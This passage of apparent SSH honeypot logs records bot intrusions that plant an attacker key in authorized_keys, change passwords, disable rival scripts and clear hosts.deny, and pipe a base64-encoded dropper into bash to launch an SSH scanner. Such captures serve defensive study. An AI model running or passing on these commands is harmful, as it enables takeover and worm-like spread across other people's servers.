\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T21:59:03.906762+00:00","kind":"output","latency_ms":496,"data":"bash: line 1: /var/tmp/.systemcache436621: No such file or directory"}],"credentials":[{"username":"root","password":"eric123","method":"password","accepted":true,"tier":"other"}]} {"id":"95af22e8-455c-494b-9a26-d34aceb89a4c","name":"painted-electric-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"161.248.189.72","src_port":37538,"username":"wanghao","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":794,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T19:14:31.740961+00:00","ended_at":"2026-08-22T19:14:31.989686+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3941,"events":[{"seq":1,"at":"2026-08-22T19:13:46.595088+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T19:13:47.385395+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T19:13:53.667346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T19:13:53.667685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T19:13:54.460428+00:00","kind":"input","latency_ms":null,"data":"echo -e \"wanghao\\nn15RepQkopJP\\nn15RepQkopJP\"|passwd|bash"},{"seq":6,"at":"2026-08-22T19:13:55.254268+00:00","kind":"input","latency_ms":null,"data":"echo \"wanghao\\nn15RepQkopJP\\nn15RepQkopJP\\n\"|passwd"},{"seq":7,"at":"2026-08-22T19:13:56.044808+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T19:13:56.046785+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T19:13:56.838398+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T19:13:57.728623+00:00","kind":"output","latency_ms":889,"data":"15888 10924 1180 4925 0 0"},{"seq":11,"at":"2026-08-22T19:13:58.523222+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T19:13:59.268470+00:00","kind":"output","latency_ms":745,"data":"-rwxr-xr-x 1 root root 1.1M May 25 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T19:14:00.079290+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T19:14:00.080231+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T19:14:00.875613+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T19:14:00.876341+00:00","kind":"output","latency_ms":null,"data":" 19:14:00 up 2 days, 16:04, 0 user, load average: 0.06, 0.04, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T19:14:01.671095+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T19:14:01.671800+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T19:14:02.464419+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T19:14:02.464863+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T19:14:03.258432+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T19:14:03.258787+00:00","kind":"output","latency_ms":null,"data":"top - 19:14:03 up 2 days, 16:04, 0 user, load average: 0.06, 0.04, 0.07\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T19:14:04.052272+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T19:14:04.052771+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T19:14:04.845359+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T19:14:04.846085+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T19:14:05.641372+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T19:14:05.641675+00:00","kind":"output","latency_ms":null,"data":"wanghao"},{"seq":29,"at":"2026-08-22T19:14:06.438093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T19:14:07.351470+00:00","kind":"output","latency_ms":913,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-22T19:14:08.144082+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T19:14:08.835344+00:00","kind":"output","latency_ms":690,"data":"24G"},{"seq":33,"at":"2026-08-22T19:14:12.401200+00:00","kind":"input","latency_ms":null,"data":"echo \"wanghao wanghao\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T19:14:13.192236+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T19:14:13.629215+00:00","kind":"output","latency_ms":435,"data":""},{"seq":36,"at":"2026-08-22T19:14:16.027197+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T19:14:16.641487+00:00","kind":"output","latency_ms":613,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-22T19:14:17.433520+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T19:14:17.891522+00:00","kind":"output","latency_ms":457,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T19:14:18.687846+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T19:14:19.475533+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T19:14:20.732526+00:00","kind":"output","latency_ms":1255,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-22T19:14:21.528374+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T19:14:22.100168+00:00","kind":"output","latency_ms":574,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T19:14:22.891817+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T19:14:31.742375+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-22T19:14:31.743232+00:00","kind":"output","latency_ms":null,"data":"wanghao"}],"credentials":[{"username":"wanghao","password":"wanghao","method":"password","accepted":true,"tier":"other"}]} {"id":"d1ae6f90-0b8c-4bc6-848b-19144edc24ef","name":"candid-restless-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"43.166.242.149","src_port":41778,"username":"suporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":894,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T18:50:13.441372+00:00","ended_at":"2026-08-22T18:50:15.710054+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3480,"events":[{"seq":1,"at":"2026-08-22T18:49:19.306620+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T18:49:19.593099+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T18:49:31.480474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T18:49:31.480870+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T18:49:32.434837+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n4QnE8tQQl06v\\n4QnE8tQQl06v\"|passwd|bash"},{"seq":6,"at":"2026-08-22T18:49:32.946993+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n4QnE8tQQl06v\\n4QnE8tQQl06v\\n\"|passwd"},{"seq":7,"at":"2026-08-22T18:49:33.915564+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T18:49:33.916125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T18:49:34.426562+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T18:49:34.981738+00:00","kind":"output","latency_ms":554,"data":"15888 2107 1021 164 12794 13781"},{"seq":11,"at":"2026-08-22T18:49:35.047873+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T18:49:35.616202+00:00","kind":"output","latency_ms":566,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T18:49:35.681316+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T18:49:35.681937+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T18:49:36.216211+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T18:49:36.217618+00:00","kind":"output","latency_ms":null,"data":" 18:49:36 up 2 days, 15:39, 0 user, load average: 0.27, 0.3, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T18:49:36.488880+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T18:49:36.492609+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T18:49:37.682594+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T18:49:37.683209+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T18:49:38.194312+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T18:49:38.195204+00:00","kind":"output","latency_ms":null,"data":"top - 18:49:38 up 2 days, 15:39, 0 user, load average: 0.27, 0.3, 0.2\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T18:49:38.666285+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T18:49:38.666843+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T18:49:38.913188+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T18:49:38.913651+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T18:49:39.874798+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T18:49:39.875500+00:00","kind":"output","latency_ms":null,"data":"suporte"},{"seq":29,"at":"2026-08-22T18:49:40.771156+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T18:49:41.824033+00:00","kind":"output","latency_ms":1052,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-22T18:49:41.890455+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T18:49:42.324339+00:00","kind":"output","latency_ms":430,"data":"24G"},{"seq":33,"at":"2026-08-22T18:49:50.782167+00:00","kind":"input","latency_ms":null,"data":"echo \"suporte 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T18:49:51.233218+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T18:49:51.757763+00:00","kind":"output","latency_ms":521,"data":""},{"seq":36,"at":"2026-08-22T18:49:53.847967+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T18:49:54.776904+00:00","kind":"output","latency_ms":929,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-22T18:49:55.017644+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T18:49:55.603812+00:00","kind":"output","latency_ms":585,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T18:49:56.114189+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T18:49:57.073043+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T18:49:57.811090+00:00","kind":"output","latency_ms":737,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-22T18:50:01.456896+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T18:50:01.968207+00:00","kind":"output","latency_ms":509,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T18:50:04.210559+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T18:50:04.718398+00:00","kind":"output","latency_ms":507,"data":""},{"seq":47,"at":"2026-08-22T18:50:13.443095+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T18:50:13.443705+00:00","kind":"output","latency_ms":null,"data":"suporte"}],"credentials":[{"username":"suporte","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"f0f09920-b4c1-4d19-92d8-fdac78e39488","name":"solar-cheerful-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"103.134.154.195","src_port":46574,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":791,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T15:42:34.931139+00:00","ended_at":"2026-08-22T15:42:35.179940+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3563,"events":[{"seq":1,"at":"2026-08-22T15:41:50.179193+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T15:41:50.654306+00:00","kind":"output","latency_ms":475,"data":"-bash: lockr: command not found"},{"seq":3,"at":"2026-08-22T15:41:51.693230+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-22T15:41:58.700243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-22T15:41:58.700729+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-22T15:41:59.491806+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oNGOvpubQjmx\"|chpasswd|bash"},{"seq":7,"at":"2026-08-22T15:42:00.042255+00:00","kind":"output","latency_ms":547,"data":""},{"seq":8,"at":"2026-08-22T15:42:00.285505+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-22T15:42:01.074047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-22T15:42:01.074520+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-22T15:42:01.866247+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-22T15:42:02.430923+00:00","kind":"output","latency_ms":564,"data":"15888 8124 5764 1032 968 0"},{"seq":13,"at":"2026-08-22T15:42:03.219908+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-22T15:42:03.747306+00:00","kind":"output","latency_ms":526,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-22T15:42:04.537807+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T15:42:04.538246+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-22T15:42:05.331408+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-22T15:42:05.331820+00:00","kind":"output","latency_ms":null,"data":" 15:42:05 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-22T15:42:06.127031+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-22T15:42:06.127479+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-22T15:42:06.916966+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-22T15:42:06.917850+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-22T15:42:07.867238+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-22T15:42:07.867942+00:00","kind":"output","latency_ms":null,"data":"top - 15:42:07 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-22T15:42:08.659130+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-22T15:42:08.659840+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-22T15:42:09.450179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-22T15:42:09.450660+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-22T15:42:10.243435+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-22T15:42:10.252047+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-22T15:42:11.043041+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-22T15:42:11.622912+00:00","kind":"output","latency_ms":580,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-22T15:42:12.412797+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-22T15:42:12.927883+00:00","kind":"output","latency_ms":513,"data":"24G"},{"seq":35,"at":"2026-08-22T15:42:15.414168+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123!!!\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-22T15:42:16.202942+00:00","kind":"input","latency_ms":null,"data":"rm -rf 